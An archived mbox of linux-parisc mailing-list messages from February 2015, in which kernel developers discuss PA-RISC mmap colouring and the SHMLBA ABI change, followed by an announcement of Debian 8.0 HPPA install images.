Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424629735 26859 80.91.229.3 (22 Feb 2015 18:28:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 18:28:55 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 19:28:46 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPbGn-0004Zk-Uf
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 19:28:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751996AbbBVS2o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 13:28:44 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:65332 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751980AbbBVS2o (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 13:28:44 -0500
Original-Received: from [192.168.20.60] ([84.173.42.111]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0MVNWU-1Y21Rt3czu-00Ykhh; Sun, 22 Feb 2015 19:28:27
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>
X-Provags-ID: V03:K0:lEzvKm9n7bLm3EpleSZoxHEa8E/nWr6wuJeAICog06NzgC3NFj5
 Rf6HADyg3AFkn4+HCYANvghQhWBXKEFdUXSAHhOs2toISpYOs4gRvlXDeoYCiCpG9IZEJoc
 FwmduQYyM8g2M5H106JgwZcOVULv7IAG0OBkfsEH4+G7BTxfr+v3SIjGvbWqNR3i+T+psv1
 3qRP7rK3pDccYl9pQCjSw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25598
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25598>

On 22.02.2015 18:54, John David Anglin wrote:
> At one time, we thought this value needed to be 4 MB.
> Helge was working on improving the mmap allocation scheme but this
> work stalled after some improvement.

The patches are still available:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=parisc-mmap&id=34ae0a4620b50d27ce2f1314322275cbea7f2055
and
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/commit/?h=parisc-mmap&id=7a6e51ddfd3ab3b11a4ebdd995e26672e69a8efa

Basically the idea is:
- Currently we have a static calculation where the mapping should happen inside the 4MB range:
   see: arch/parisc/kernel/sys_parisc.c: (filp ? ((unsigned long) filp->f_mapping) >> 8 : 0UL)
- Replace that by a dynamic mapping, which searches best fit address in free mem area *if* the file hasn't been mapped yet, and save this mapping in the struct address_space. If another process then maps the same file again, then just reuse the last calculated "dynamic" mapping (offset).

This helps a lot to prevent userspace memory fragmentation, but Linus didn't liked this approach and proposed instead:
  https://lkml.org/lkml/2014/5/1/368

Sadly his patch didn't worked out of the box. I did tried various ways (I'm sure it can work somehow), but I couldn't solve it yet.
Maybe some Linux mm expert could help here?

Helge   
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped
 address
Date: Sun, 22 Feb 2015 11:13:16 -0800
Lines: 55
Approved: news@gmane.org
Message-ID: <1424632396.2146.116.camel@HansenPartnership.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
		 <BLU0-SMTP47556722282C83F98582B797C50@phx.gbl>
		 <201312191619.05005.vapier@gentoo.org> <5313A12E.7010307@gmx.de>
		 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>
		 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
		 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
		 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
		 <533DC3E8.5010701@gmx.de>
		 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
		 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
		 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
		 <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de>
		 <1424563046.2146.41.camel@HansenPartnership.com>
		 <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
		 <1424625475.2146.88.camel@HansenPartnership.com>
		 <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>
	 <1424627938.2146.103.camel@HansenPartnership.com> <54EA1ADC.60701@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424632413 2705 80.91.229.3 (22 Feb 2015 19:13:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 19:13:33 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 20:13:24 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPbxx-0008Bf-3s
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 20:13:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752056AbbBVTNT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 14:13:19 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49274 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752028AbbBVTNS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 14:13:18 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 06F408EE162;
	Sun, 22 Feb 2015 11:13:18 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id NsPvYv3W0cRJ; Sun, 22 Feb 2015 11:13:17 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7B6008EE101;
	Sun, 22 Feb 2015 11:13:17 -0800 (PST)
In-Reply-To: <54EA1ADC.60701@gmx.de>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25599
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25599>

On Sun, 2015-02-22 at 19:07 +0100, Helge Deller wrote:
> >>>> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
> >>>>
> >>>> The following is in <asm-generic/shmparam.h>:
> >>>> #define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */
> >>>>
> >>>> Shared mappings are handled with
> >>>> asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */
> >>>
> >>> So how is the sys-v ipc problem fixed?  There the user is told to select
> >>> an address which is a multiple of SHMLBA.  Programs that do this today
> >>> will start to break on writeable mappings if we set SHMLBA to PAGE_SIZE
> >>> because the colour will be wrong.
> >>
> >>
> >> The code returns -EINVAL.  See arch_get_unmapped_area.
> >
> > But that's not a solution.  Let me try to illustrate: I have an existing
> > application, it uses sys-v ipc and selects a shmat address based on the
> > multiple of SHMLBA for a writeable mapping.  Today it works.
> 
> It will work as well with SHMBLA=4096, if you just use SHM_RND too
> (and most applications do have SHM_RND).
> man shmat says:
>   * If shmaddr isn't NULL and SHM_RND is specified in shmflg, the attach occurs at the address equal to shmaddr rounded down to the nearest multiple of SHMLBA.
> * Otherwise, shmaddr must be a page-aligned address at which the attach occurs.
> 
> So, even here shmaddr is mentioned to be page-aligned (4k), not
> SHMLBA-aligned (4M in your case).

I think that part is x86.  All the other VI architectures impose their
VI colour constrainst in SHMLBA.  We're the odd one out because we have
a huge stride (everyone else is small multiples of pages).

But agree if no applications are affected, we can make the ABI change.

> >Tomorrow
> > when you make this change, it fails with -EINVAL.  That's breaking an
> > existing application because chances are the app will just report the
> > failure and exit.
> 
> Tomorrow?  This change is *already* implemented in eglibc since a year or
> so and I don't see any applications which break because of SHMBLA=4096...

Is eglibc a big enough sample to make the claim that no applications
will be broken?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped address
Date: Sun, 22 Feb 2015 20:16:43 +0100
Lines: 59
Approved: news@gmane.org
Message-ID: <54EA2B1B.10406@gmx.de>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>		 <5313A12E.7010307@gmx.de>		 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>		 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>		 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>		 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>		 <533DC3E8.5010701@gmx.de>		 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>		 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>		 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>		 <1424560158.2146.22.camel@HansenPartnership.com> <54E9141B.4050009@gmx.de>		 <1424563046.2146.41.camel@HansenPartnership.com>		 <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>		 <1424625475.2146.88.camel@Han
 senPartnership.com>		 <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>	 <1424627938.2146.103.camel@HansenPartnership.com> <54EA1ADC.60701@gmx.de> <1424632396.2146.116.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424632655 6446 80.91.229.3 (22 Feb 2015 19:17:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 19:17:35 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 20:17:13 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPc1f-0000bM-8Q
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 20:17:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752041AbbBVTRK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 14:17:10 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:60524 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751996AbbBVTRK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 14:17:10 -0500
Original-Received: from [192.168.20.60] ([84.173.42.111]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MTeVY-1XzFTq1CHQ-00QQnv; Sun, 22 Feb 2015 20:16:46
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
In-Reply-To: <1424632396.2146.116.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:avXVlN/hJTrC5qbr/kxEhFHVYTGzvEY+sipmozLBEpHTMqkcvf4
 W2do+wsVJnUYQaKPXLbk+y/FqnYvXvllJqIzxbJ+ivzX1tLllcFqgDLCTwtFdrMAfmlpHuJ
 Z55qE6ZZ9hvsb1mxv2+v9qOy2khvYp9Uq0vtcMBtk/nhtTWlTVrKYSdphfki/JkFNasKPP6
 8kWaWkvkZJItQZsd814/Q==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25600
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25600>

On 22.02.2015 20:13, James Bottomley wrote:
> On Sun, 2015-02-22 at 19:07 +0100, Helge Deller wrote:
>>>>>> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
>>>>>>
>>>>>> The following is in <asm-generic/shmparam.h>:
>>>>>> #define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */
>>>>>>
>>>>>> Shared mappings are handled with
>>>>>> asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */
>>>>>
>>>>> So how is the sys-v ipc problem fixed?  There the user is told to select
>>>>> an address which is a multiple of SHMLBA.  Programs that do this today
>>>>> will start to break on writeable mappings if we set SHMLBA to PAGE_SIZE
>>>>> because the colour will be wrong.
>>>>
>>>>
>>>> The code returns -EINVAL.  See arch_get_unmapped_area.
>>>
>>> But that's not a solution.  Let me try to illustrate: I have an existing
>>> application, it uses sys-v ipc and selects a shmat address based on the
>>> multiple of SHMLBA for a writeable mapping.  Today it works.
>>
>> It will work as well with SHMBLA=4096, if you just use SHM_RND too
>> (and most applications do have SHM_RND).
>> man shmat says:
>>    * If shmaddr isn't NULL and SHM_RND is specified in shmflg, the attach occurs at the address equal to shmaddr rounded down to the nearest multiple of SHMLBA.
>> * Otherwise, shmaddr must be a page-aligned address at which the attach occurs.
>>
>> So, even here shmaddr is mentioned to be page-aligned (4k), not
>> SHMLBA-aligned (4M in your case).
>
> I think that part is x86.  All the other VI architectures impose their
> VI colour constrainst in SHMLBA.  We're the odd one out because we have
> a huge stride (everyone else is small multiples of pages).
>
> But agree if no applications are affected, we can make the ABI change.
>
>>> Tomorrow
>>> when you make this change, it fails with -EINVAL.  That's breaking an
>>> existing application because chances are the app will just report the
>>> failure and exit.
>>
>> Tomorrow?  This change is *already* implemented in eglibc since a year or
>> so and I don't see any applications which break because of SHMBLA=4096...
>
> Is eglibc a big enough sample to make the claim that no applications
> will be broken?

Try yourself:
https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
Just install debian 8.0 (aka unstable for hppa). KDE, Xfce, libreoffice,
and a all others packages just work out of the box.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: fix mmap(MAP_FIXED|MAP_SHARED) to already mmapped
 address
Date: Sun, 22 Feb 2015 11:42:50 -0800
Lines: 67
Approved: news@gmane.org
Message-ID: <1424634170.2146.119.camel@HansenPartnership.com>
References: <20131219191750.GC2881@blackmetal.musicnaut.iki.fi>
			 <5313A12E.7010307@gmx.de>
			 <20140401182627.GA3285@drone.musicnaut.iki.fi> <533B0A57.2060700@gmx.de>
			 <CAE2sS1jZTzccFy_uWri++cgVz+AYVfY0_aFqXFxnJXZV3d1a0g@mail.gmail.com>
			 <533C7C9A.5080703@gmx.de> <BLU0-SMTP84F101069B44354FC1070C976D0@phx.gbl>
			 <533DB961.9010607@gmx.de> <BLU0-SMTP7204937E7AF88D8736354E976C0@phx.gbl>
			 <533DC3E8.5010701@gmx.de>
			 <CAE2sS1iY6H3fnEJDHr6oPGywwGYmM_2gt2r_p+DUz+v0Rf2szg@mail.gmail.com>
			 <BLU436-SMTP15952414B35EC498F0793B1972B0@phx.gbl>
			 <BLU437-SMTP9274AAFB2636BF93781F02972B0@phx.gbl>
			 <1424560158.2146.22.camel@HansenPartnership.com>
	 <54E9141B.4050009@gmx.de>
			 <1424563046.2146.41.camel@HansenPartnership.com>
			 <BLU436-SMTP737CEAAA0E7C3EAEFB9DB097280@phx.gbl>
			 <1424625475.2146.88.camel@HansenPartnership.com>
			 <BLU437-SMTP61AF76DB80DF7F81524FCC97280@phx.gbl>
		 <1424627938.2146.103.camel@HansenPartnership.com> <54EA1ADC.60701@gmx.de>
	 <1424632396.2146.116.camel@HansenPartnership.com> <54EA2B1B.10406@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424634194 29553 80.91.229.3 (22 Feb 2015 19:43:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 22 Feb 2015 19:43:14 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Carlos O'Donell <carlos@systemhalted.org>,
	Aaro Koskinen <aaro.koskinen@iki.fi>,
	Mike Frysinger <vapier@gentoo.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 22 20:43:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YPcQd-0006lS-NR
	for glpp-linux-parisc@plane.gmane.org; Sun, 22 Feb 2015 20:43:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752212AbbBVTmy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 22 Feb 2015 14:42:54 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49338 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752206AbbBVTmx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 22 Feb 2015 14:42:53 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 28BCC8EE162;
	Sun, 22 Feb 2015 11:42:52 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 3UvY2Sfnz9ds; Sun, 22 Feb 2015 11:42:52 -0800 (PST)
Original-Received: from [153.66.254.242] (unknown [50.46.149.214])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 9577E8EE101;
	Sun, 22 Feb 2015 11:42:51 -0800 (PST)
In-Reply-To: <54EA2B1B.10406@gmx.de>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25601
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25601>

On Sun, 2015-02-22 at 20:16 +0100, Helge Deller wrote:
> On 22.02.2015 20:13, James Bottomley wrote:
> > On Sun, 2015-02-22 at 19:07 +0100, Helge Deller wrote:
> >>>>>> SHMLBA is 4096 /* (1 << PGSHIFT) */ on hpux.
> >>>>>>
> >>>>>> The following is in <asm-generic/shmparam.h>:
> >>>>>> #define SHMLBA PAGE_SIZE	 /* attach addr a multiple of this */
> >>>>>>
> >>>>>> Shared mappings are handled with
> >>>>>> asm/shmparam.h:#define SHM_COLOUR 0x00400000	/* shared mappings colouring */
> >>>>>
> >>>>> So how is the sys-v ipc problem fixed?  There the user is told to select
> >>>>> an address which is a multiple of SHMLBA.  Programs that do this today
> >>>>> will start to break on writeable mappings if we set SHMLBA to PAGE_SIZE
> >>>>> because the colour will be wrong.
> >>>>
> >>>>
> >>>> The code returns -EINVAL.  See arch_get_unmapped_area.
> >>>
> >>> But that's not a solution.  Let me try to illustrate: I have an existing
> >>> application, it uses sys-v ipc and selects a shmat address based on the
> >>> multiple of SHMLBA for a writeable mapping.  Today it works.
> >>
> >> It will work as well with SHMBLA=4096, if you just use SHM_RND too
> >> (and most applications do have SHM_RND).
> >> man shmat says:
> >>    * If shmaddr isn't NULL and SHM_RND is specified in shmflg, the attach occurs at the address equal to shmaddr rounded down to the nearest multiple of SHMLBA.
> >> * Otherwise, shmaddr must be a page-aligned address at which the attach occurs.
> >>
> >> So, even here shmaddr is mentioned to be page-aligned (4k), not
> >> SHMLBA-aligned (4M in your case).
> >
> > I think that part is x86.  All the other VI architectures impose their
> > VI colour constrainst in SHMLBA.  We're the odd one out because we have
> > a huge stride (everyone else is small multiples of pages).
> >
> > But agree if no applications are affected, we can make the ABI change.
> >
> >>> Tomorrow
> >>> when you make this change, it fails with -EINVAL.  That's breaking an
> >>> existing application because chances are the app will just report the
> >>> failure and exit.
> >>
> >> Tomorrow?  This change is *already* implemented in eglibc since a year or
> >> so and I don't see any applications which break because of SHMBLA=4096...
> >
> > Is eglibc a big enough sample to make the claim that no applications
> > will be broken?
> 
> Try yourself:
> https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
> Just install debian 8.0 (aka unstable for hppa). KDE, Xfce, libreoffice,
> and a all others packages just work out of the box.

I know, I do, but that's sort of expected: most modern linux apps use
mmap.  It's the older stuff that uses sys-v ipc, but perhaps for us this
doesn't matter.

James



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Pre-DEBIAN 8.0 install images for HPPA architecture  (debian-ports
 unstable release)
Date: Tue, 24 Feb 2015 18:13:52 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <54ECB150.80907@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1424798050 12511 80.91.229.3 (24 Feb 2015 17:14:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2015 17:14:10 +0000 (UTC)
To: HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 24 18:14:02 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YQJ3a-0004hi-1e
	for glpp-linux-parisc@plane.gmane.org; Tue, 24 Feb 2015 18:14:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752357AbbBXROB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 24 Feb 2015 12:14:01 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:64905 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751436AbbBXROB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 24 Feb 2015 12:14:01 -0500
Original-Received: from [192.168.20.60] ([84.173.34.191]) by mail.gmx.com (mrgmx003)
 with ESMTPSA (Nemesis) id 0LqALY-1XvM1310N6-00dkPS; Tue, 24 Feb 2015 18:13:53
 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.4.0
X-Provags-ID: V03:K0:8uGxzkvYoa2h3fsICoftpxiSGZYJ2ksaYEzGopMMVabblp907Kc
 Dnqj2rw/4jYGI9kBI2bRM+CCVtF1gbod472b9e2JNzx2upSVLLlkh9gr/SE3ITIeMK4IKrz
 meniCqnuoROubTqBBmrcyoZlg6RhvIPOyPgcE43/gaxSOnGHLDa0mRJnktfN/ZaS/fELgqH
 +BVqtR4a+7SqOpfRe6MIA==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25602 gmane.linux.debian.ports.hppa:7261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25602>

Hello everyone,

I've prepared some initial netboot installation medias for
	DEBIAN 8.0 on HPPA

which are available at:
	http://ftp.debian-ports.org/debian-cd/hppa/debian-8.0/

You can find the instructions on how to install Debian 8.0 on hppa in our wiki at
	https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation

The install images will install binaries from debian-ports (Debian "unstable").

Major changes include:
- Based on Debian 8.0 code base
- Full systemd support
- Linux kernel modules for SATA included
- Lots of bug fixes
- Should support all common PA-RISC hardware (on C8000 installation needs to be done via serial port)

I'm happy to get your feedback (either as bug report or successful installation report).

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank@mybenke.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Pre-DEBIAN 8.0 install images for HPPA architecture (debian-ports
 unstable release)
Date: Tue, 24 Feb 2015 20:43:37 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <CAF7WtFVQKDf_E5YidLU_H38M8LqghDfn4v_ud=oC0UoY=GQftw@mail.gmail.com>
References: <54ECB150.80907@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1424807028 7241 80.91.229.3 (24 Feb 2015 19:43:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Feb 2015 19:43:48 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
